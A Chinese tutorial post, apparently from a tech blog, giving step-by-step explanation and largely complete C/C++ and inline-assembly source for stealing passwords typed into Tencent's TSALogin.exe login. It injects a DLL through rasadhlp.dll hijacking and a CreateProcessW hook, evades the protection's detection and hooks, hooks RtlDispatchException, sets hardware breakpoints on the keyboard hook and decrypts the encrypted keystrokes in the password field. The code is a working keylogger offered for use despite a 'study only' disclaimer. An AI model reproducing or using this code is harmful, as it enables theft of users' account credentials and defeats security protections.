本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担。 1、构造rasadhlp.dll,可以使用看雪的dll劫持生成工具,生成代码,我忘了是哪位大神的了,先借用一下,等会上传到附件 因为TSALogin.exe是用登陆器打开的,所以只要在登陆器中做手脚就能注入TSALogin.exe,把劫持dll放到与登陆器相同目录,登陆器打开的时候,就会加载劫持dll。劫持dll再加载工作dll,然后工作dll中再做一些工作(请继续往下看)
2、工作dll(tencent_Login.dll),Hook?CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测
3、设置硬件断点监视键盘输入,?众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现?加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook?RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了?0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下 梦无极,硬件断点?hook的思路是从他的过驱动保护教程教程里面学习的 yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,
欢迎各位朋友加我交流技术?QQ:1536854253
此文重点: ?1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂) 2、安装消息勾子,判断当前输入焦点 3、自己构造ZwSetContextThread,和ZwGetContextThread 4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码 5、实现解密
unsigned int WINAPI _WorkThread(void * lpPram) { TCHAR tcWorkDll[MAX_PATH]; GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH); *( _tcsrchr(g_tcExeDir,'\\') +1 )=0; _stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll")); hTestModule=LoadLibrary(tcWorkDll); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) {//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等 if(IsSpecifyProcessName(_T("tgp_daemon.exe"))) { hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL); } using namespace AheadLib; return Load(); } else if (ul_reason_for_call == DLL_PROCESS_DETACH) { using namespace AheadLib; Free(); } return TRUE; }
2、工作dll(tencent_Login.dll),Hook?CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测
BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation ) { BOOL bRet =FALSE; CHAR tcText[MAX_PATH]; if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) ) { GetModuleFileNameA(g_hMod,tcText,MAX_PATH); return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes, bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess); } return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes, bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation); } void StartWork() { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); TCHAR tcText[100]; TCHAR lpProcessName[50]={0} ; _tcscpy_s(lpProcessName, GetCurProcessName().c_str()); if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) ) { DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess); //HOOK CreateProcess,实现完美注入TSALogin.exe } if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) ) { DWORD dwOldProtect; //自己构造 ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的 ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread"); ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread"); ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr); ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr); VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect); VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect); *(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9; *(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9; *(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5; *(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread -(DWORD)g_ZwSetContextThreadZone -5; /*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone); OutputDebugString(tcText);*/ //Hook RtlDispatchException ProcessDispatchException(); //设置硬件断点,监视键盘输入 g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId()); OutputDebugString(_T("TSALogin.exe注入成功")); } DetourTransactionCommit(); } extern void StartWork(); BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hMod=hModule; StartWork(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }
3、设置硬件断点监视键盘输入,?众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现?加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook?RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
BOOL RtlDispatchException(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext) { //好了,重点来了,因为要跳回去执行,所以必须先还原Ebp,Esp,否则将会出错 //g_dwExceptionAddr 这个地址就是游戏的低层键盘勾子函数入口,在这个地方能获取到当前键盘的输入 //把参数提取出来,传给FilterLowLevelMouseProc函数,进行过滤处理 if( pExcptRec->ExceptionAddress == (VOID*)g_dwExceptionAddr ) { g_dwEbp = pContext->Ebp; g_dwEsp=pContext->Esp; g_dwJmpAddr =pContext->Eip+5; __asm { mov ebp,g_dwEbp; //首先要还原执行环境,就是说还原成执行g_dwExceptionAddr这个地址函数之前的环境 mov esp,g_dwEsp; push ebp; //手动构造栈空间 mov ebp,esp; push [ebp+0x10]; //这3个参数是需要的,注意压栈顺序 push [ebp+0xC]; push [ebp+0x8]; call FilterLowLevelMouseProc; mov esp,ebp; //还原栈空间了 pop ebp; //这个地方不能改变,因为游戏就是这样子做的,如果变了,就没有加密虚键码了,用户就会登陆失败 push 0x99354893; jmp g_dwJmpAddr; } return TRUE; } return FALSE; }ULONG WINAPI _RtlDispatchException( PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext ) { ULONG uRet = 0; if(RtlDispatchException(pExcptRec,pContext)) uRet= 1; else uRet= m_fnRtlDispatchException(pExcptRec,pContext); return uRet; } void ProcessDispatchException() { TCHAR tcText[100]; DWORD dwOldProtect; DWORD dwKiUserExceptionDispatcher=(DWORD)::GetProcAddress(::GetModuleHandle(_T("ntdll")),"KiUserExceptionDispatcher"); _stprintf_s(tcText,_T("dwKiUserExceptionDispatcher = 0x%x"),dwKiUserExceptionDispatcher); OutputDebugString(tcText); VirtualProtect((VOID*)dwKiUserExceptionDispatcher,5,PAGE_EXECUTE_READWRITE,&dwOldProtect); if (dwKiUserExceptionDispatcher) { while (*(BYTE*)dwKiUserExceptionDispatcher!=0xE8) dwKiUserExceptionDispatcher++; //XP~Win7正常,Win8尚无缘得见 m_fnRtlDispatchException=(pfnRtlDispatchException)((*(DWORD *)(dwKiUserExceptionDispatcher+1))+5+(DWORD)dwKiUserExceptionDispatcher); //得到原函数地址 //Hook DWORD dwNewAddr=(DWORD)_RtlDispatchException-(DWORD)dwKiUserExceptionDispatcher-5; WriteProcessMemory((HANDLE)-1,(void*)(dwKiUserExceptionDispatcher+1),(BYTE *)&dwNewAddr,4,nullptr); } }
4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了?0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
bool bPlainCase =true; int g_Key =0; void WINAPI FilterLowLevelMouseProc( _In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if(nCode == HC_ACTION) { PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam; if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) ) { if( ::GetFocus() == g_hPwd ) //判断是不是在输入密码 { if( bPlainCase ) //第一次来的是原始虚键码 { if(96 <=pKdb->vkCode && pKdb->vkCode<=105 ) //小键盘的0-9,由于这几个键产生的字符是不能直接获取虚键码的,所以转换成主键盘区的0-9 pKdb->vkCode -=48; g_Key=pKdb->vkCode; bPlainCase=false; }else //加密的虚键码了 { if(96 <=pKdb->vkCode && pKdb->vkCode<=105 ) pKdb->vkCode -=48; SetKeyPair(pKdb->vkCode,g_Key); //用std::
5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
LRESULT CALLBACK GetMsgProc(__in int code,__in WPARAM wParam,__in LPARAM lParam ) { if( code == HC_ACTION ) { MSG * pMsg =(MSG*)lParam; LONG dwStyle = GetWindowLong(pMsg->hwnd,GWL_STYLE); if( !g_hPwd && dwStyle & ES_PASSWORD && !( dwStyle&ES_MULTILINE) ) { g_hPwd=pMsg->hwnd; } if( !g_hKeyboardHook && ::GetFocus() == g_hPwd) { if( GetModuleHandle(_T("fszwd.dat")) ) SetMintor(); } if( pMsg->message ==WM_CHAR ) //用户输入的字符(已加密) { TCHAR tcTetxt[50]={0}; SHORT sVk=0; SHORT sOrgVk=0; if( IsCharNeed(pMsg->wParam) && ::GetFocus() ==g_hPwd ) //同样判断是不是在输入密码 { if( pMsg->wParam >='A' && pMsg->wParam <= 'Z' ) //大写的字母不能直接翻译成虚键码 sVk = VkKeyScan(pMsg->wParam+0x20); else sVk = VkKeyScan(pMsg->wParam); sOrgVk = GetPlainVkcode(sVk); //通过加密虚键码获取到原始虚键码,前面已经保存了虚键码对,所以现在直接可以取出来用了 if( sOrgVk ) //解密 { _stprintf_s(tcTetxt,_T("ascii码:%d,解密的字符:%c"),pMsg->wParam ,pMsg->wParam + sOrgVk - sVk); }else _stprintf_s(tcTetxt,_T("ascii码:%d,未解密的字符:%c"),pMsg->wParam ,pMsg->wParam); }else { _stprintf_s(tcTetxt,_T("没有加密的字符:%c"),pMsg->wParam); } OutputDebugString(tcTetxt); } } return CallNextHookEx(0,code,wParam,lParam); }
到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下 梦无极,硬件断点?hook的思路是从他的过驱动保护教程教程里面学习的 yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,
欢迎各位朋友加我交流技术?QQ:1536854253
收藏的用户(0) X
正在加载信息~
推荐阅读
站点信息
- 文章2305
- 用户1336
- 访客11431115
每日一句
Life is the flower for which love is the honey.
生命如花,爱情是蜜。
生命如花,爱情是蜜。
3种pthread线程同步方法
Android Studio 4.2.2无法查看源码问题
imencode和imdecode使用
命令行svnsync完整迁移SVN仓库数据
IDEA创建SpringBoot项目详细步骤
每个数据库大神要了解的NoSQL数据库
Thinkpad x1 Extreme黑苹果10.14.5安装完成
【收藏】xiunobbs近期关站,可能后会无期了!
Android Studio使用Eclipse的debug.keystore
2019赚钱方式,后悔没早点看到
windows10 1809关闭烦人的自动更新
Windows+Linux平台Socket底层封装
快速入门-如何在Java上使用Redis
新会员